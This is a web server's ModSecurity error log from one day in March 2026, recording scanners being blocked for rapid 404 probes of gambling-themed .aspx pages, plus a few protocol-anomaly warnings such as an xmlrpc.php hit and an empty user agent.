[Sun Mar 08 01:32:13.280315 2026] [:error] [pid 19387:tid 19508] [client 185.213.175.121:49342] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaxhHdf0nSGsjNvXT0MhNgAAAgg"]
[Sun Mar 08 01:32:15.735062 2026] [:error] [pid 19387:tid 19505] [client 185.213.175.121:49346] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaxhH9f0nSGsjNvXT0MhPgAAAgU"]
[Sun Mar 08 01:32:18.208303 2026] [:error] [pid 19385:tid 19452] [client 185.213.175.121:49362] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaxhIvf5_iv9UQMo0rkNpgAAABc"]
[Sun Mar 08 01:32:20.639193 2026] [:error] [pid 19534:tid 19553] [client 185.213.175.121:55426] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aaxhJIiRddMMzZb47n5tUwAAAFE"]
[Sun Mar 08 01:32:23.118622 2026] [:error] [pid 19534:tid 19557] [client 185.213.175.121:55428] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aaxhJ4iRddMMzZb47n5tXAAAAFU"]
[Sun Mar 08 01:32:25.588609 2026] [:error] [pid 19387:tid 19518] [client 185.213.175.121:55436] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aaxhKdf0nSGsjNvXT0MhRQAAAhI"]
[Sun Mar 08 01:32:28.060180 2026] [:error] [pid 19534:tid 19539] [client 185.213.175.121:55446] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aaxhLIiRddMMzZb47n5tYgAAAEM"]
[Sun Mar 08 01:32:30.514433 2026] [:error] [pid 19534:tid 19546] [client 185.213.175.121:55448] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aaxhLoiRddMMzZb47n5tawAAAEo"]
[Sun Mar 08 01:33:09.252074 2026] [:error] [pid 19386:tid 19476] [client 185.213.175.121:48124] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aaxhVaOoo-DmQSb2USBX8wAAAcM"]
[Sun Mar 08 01:33:11.720279 2026] [:error] [pid 19387:tid 19501] [client 185.213.175.121:36108] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aaxhV9f0nSGsjNvXT0MhcAAAAgE"]
[Sun Mar 08 01:33:14.167287 2026] [:error] [pid 19534:tid 19546] [client 185.213.175.121:36122] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaxhWoiRddMMzZb47n5tvwAAAEo"]
[Sun Mar 08 01:33:16.628552 2026] [:error] [pid 19534:tid 19536] [client 185.213.175.121:36124] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aaxhXIiRddMMzZb47n5tyAAAAEA"]
[Sun Mar 08 01:33:24.324627 2026] [:error] [pid 19534:tid 19547] [client 185.213.175.121:48068] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aaxhZIiRddMMzZb47n5t2wAAAEs"]
[Sun Mar 08 01:33:26.643363 2026] [:error] [pid 19386:tid 19496] [client 185.213.175.121:48080] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aaxhZqOoo-DmQSb2USBYBAAAAdc"]
[Sun Mar 08 01:33:29.010914 2026] [:error] [pid 19534:tid 19543] [client 185.213.175.121:48084] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aaxhaYiRddMMzZb47n5t6AAAAEc"]
[Sun Mar 08 01:33:31.363942 2026] [:error] [pid 19387:tid 19505] [client 185.213.175.121:50554] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaxha9f0nSGsjNvXT0MhfwAAAgU"]
[Sun Mar 08 01:33:33.829478 2026] [:error] [pid 19386:tid 19497] [client 185.213.175.121:50564] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aaxhbaOoo-DmQSb2USBYCQAAAdg"]
[Sun Mar 08 01:33:36.288548 2026] [:error] [pid 19386:tid 19483] [client 185.213.175.121:50568] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaxhcKOoo-DmQSb2USBYDQAAAco"]
[Sun Mar 08 01:33:38.761120 2026] [:error] [pid 19534:tid 19536] [client 185.213.175.121:50582] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aaxhcoiRddMMzZb47n5uBQAAAEA"]
[Sun Mar 08 01:33:41.224539 2026] [:error] [pid 19534:tid 19542] [client 185.213.175.121:44908] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaxhdYiRddMMzZb47n5uEAAAAEY"]
[Sun Mar 08 01:33:43.554582 2026] [:error] [pid 19387:tid 19504] [client 185.213.175.121:44914] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aaxhd9f0nSGsjNvXT0MhiwAAAgQ"]
[Sun Mar 08 01:33:46.007629 2026] [:error] [pid 19534:tid 19538] [client 185.213.175.121:44920] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaxheoiRddMMzZb47n5uKwAAAEI"]
[Sun Mar 08 01:33:48.494121 2026] [:error] [pid 19386:tid 19493] [client 185.213.175.121:44924] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaxhfKOoo-DmQSb2USBYIgAAAdQ"]
[Sun Mar 08 01:33:50.795787 2026] [:error] [pid 19386:tid 19480] [client 185.213.175.121:54358] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaxhfqOoo-DmQSb2USBYJAAAAcc"]
[Sun Mar 08 01:33:53.105557 2026] [:error] [pid 19385:tid 19444] [client 185.213.175.121:54362] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaxhgff5_iv9UQMo0rkN1gAAAA8"]
[Sun Mar 08 01:33:55.431215 2026] [:error] [pid 19387:tid 19502] [client 185.213.175.121:54364] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaxhg9f0nSGsjNvXT0MhmQAAAgI"]
[Sun Mar 08 01:33:57.746531 2026] [:error] [pid 19385:tid 19430] [client 185.213.175.121:54366] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaxhhff5_iv9UQMo0rkN3AAAAAE"]
[Sun Mar 08 01:34:00.075632 2026] [:error] [pid 19385:tid 19438] [client 185.213.175.121:54368] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaxhiPf5_iv9UQMo0rkN4AAAAAk"]
[Sun Mar 08 01:34:02.539375 2026] [:error] [pid 19387:tid 19511] [client 185.213.175.121:46350] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaxhitf0nSGsjNvXT0MhpAAAAgs"]
[Sun Mar 08 01:34:04.995173 2026] [:error] [pid 19387:tid 19514] [client 185.213.175.121:46358] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaxhjNf0nSGsjNvXT0MhpwAAAg4"]
[Sun Mar 08 01:39:14.313004 2026] [:error] [pid 19385:tid 19445] [client 147.182.250.143:34212] [client 147.182.250.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.250.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaxiwvf5_iv9UQMo0rkPDgAAABA"]
[Sun Mar 08 04:20:21.022921 2026] [:error] [pid 43672:tid 43766] [client 111.172.249.49:54707] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aayIhXqp35WgfA0DoNAR1AAAAJA"]
[Sun Mar 08 05:49:39.466440 2026] [:error] [pid 22790:tid 22891] [client 216.73.216.158:44598] [client 216.73.216.158] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aaydcxXbGDWrzD_dTOcJPQAAA8k"]
[Sun Mar 08 06:53:57.223624 2026] [:error] [pid 22790:tid 22899] [client 62.84.185.67:43906] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aayshRXbGDWrzD_dTOcv2AAAA9E"]
[Sun Mar 08 06:53:59.321468 2026] [:error] [pid 22787:tid 22849] [client 62.84.185.67:43912] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaysh0F9MGMhk9pT4z7zOgAAA1U"]
[Sun Mar 08 06:54:01.617339 2026] [:error] [pid 22669:tid 22771] [client 62.84.185.67:43914] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaysiWvqAhy8LIaua-pCbgAAAsw"]
[Sun Mar 08 06:54:03.850190 2026] [:error] [pid 22790:tid 22886] [client 62.84.185.67:43918] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaysixXbGDWrzD_dTOcv6AAAA8Q"]
[Sun Mar 08 06:54:05.896763 2026] [:error] [pid 22788:tid 22873] [client 62.84.185.67:2964] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaysjUhwluk21OG9mSft8QAAA5I"]
[Sun Mar 08 06:54:07.725328 2026] [:error] [pid 22790:tid 22905] [client 62.84.185.67:2978] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaysjxXbGDWrzD_dTOcv7AAAA9c"]
[Sun Mar 08 06:54:09.829354 2026] [:error] [pid 22787:tid 22842] [client 62.84.185.67:2984] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aayskUF9MGMhk9pT4z7zRgAAA04"]
[Sun Mar 08 06:54:11.975129 2026] [:error] [pid 22667:tid 22710] [client 62.84.185.67:2992] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaysk-G7qk1roo-TRWM6vQAAAkU"]
[Sun Mar 08 06:54:14.166985 2026] [:error] [pid 22786:tid 22806] [client 62.84.185.67:2998] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aayslnPuJewMN2jPbdUjAgAAAwU"]
[Sun Mar 08 06:54:16.145416 2026] [:error] [pid 22786:tid 22815] [client 62.84.185.67:36888] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaysmHPuJewMN2jPbdUjBAAAAw4"]
[Sun Mar 08 06:54:18.096766 2026] [:error] [pid 22667:tid 22729] [client 62.84.185.67:36896] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaysmuG7qk1roo-TRWM6xQAAAlg"]
[Sun Mar 08 06:56:08.374515 2026] [:error] [pid 22787:tid 22834] [client 62.84.185.67:31482] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaytCEF9MGMhk9pT4z7z0QAAA0Y"]
[Sun Mar 08 06:56:10.510923 2026] [:error] [pid 22787:tid 22834] [client 62.84.185.67:31484] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaytCkF9MGMhk9pT4z7z5AAAA0Y"]
[Sun Mar 08 06:56:12.546571 2026] [:error] [pid 22790:tid 22896] [client 62.84.185.67:31488] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaytDBXbGDWrzD_dTOcwzwAAA84"]
[Sun Mar 08 06:56:14.628002 2026] [:error] [pid 22786:tid 22824] [client 62.84.185.67:31496] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaytDnPuJewMN2jPbdUjSQAAAxc"]
[Sun Mar 08 06:56:16.671385 2026] [:error] [pid 22787:tid 22845] [client 62.84.185.67:39564] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaytEEF9MGMhk9pT4z7z8gAAA1E"]
[Sun Mar 08 06:56:18.681530 2026] [:error] [pid 22790:tid 22894] [client 62.84.185.67:39570] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aaytEhXbGDWrzD_dTOcw1wAAA8w"]
[Sun Mar 08 06:56:20.660372 2026] [:error] [pid 22790:tid 22905] [client 62.84.185.67:39576] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aaytFBXbGDWrzD_dTOcw2gAAA9c"]
[Sun Mar 08 06:56:22.725551 2026] [:error] [pid 22790:tid 22889] [client 62.84.185.67:39586] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aaytFhXbGDWrzD_dTOcw3QAAA8c"]
[Sun Mar 08 06:56:24.792972 2026] [:error] [pid 22787:tid 22836] [client 62.84.185.67:39600] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aaytGEF9MGMhk9pT4z70AgAAA0g"]
[Sun Mar 08 06:56:26.886982 2026] [:error] [pid 22790:tid 22905] [client 62.84.185.67:41926] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aaytGhXbGDWrzD_dTOcw5AAAA9c"]
[Sun Mar 08 06:56:28.984457 2026] [:error] [pid 22790:tid 22890] [client 62.84.185.67:41942] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aaytHBXbGDWrzD_dTOcw6gAAA8g"]
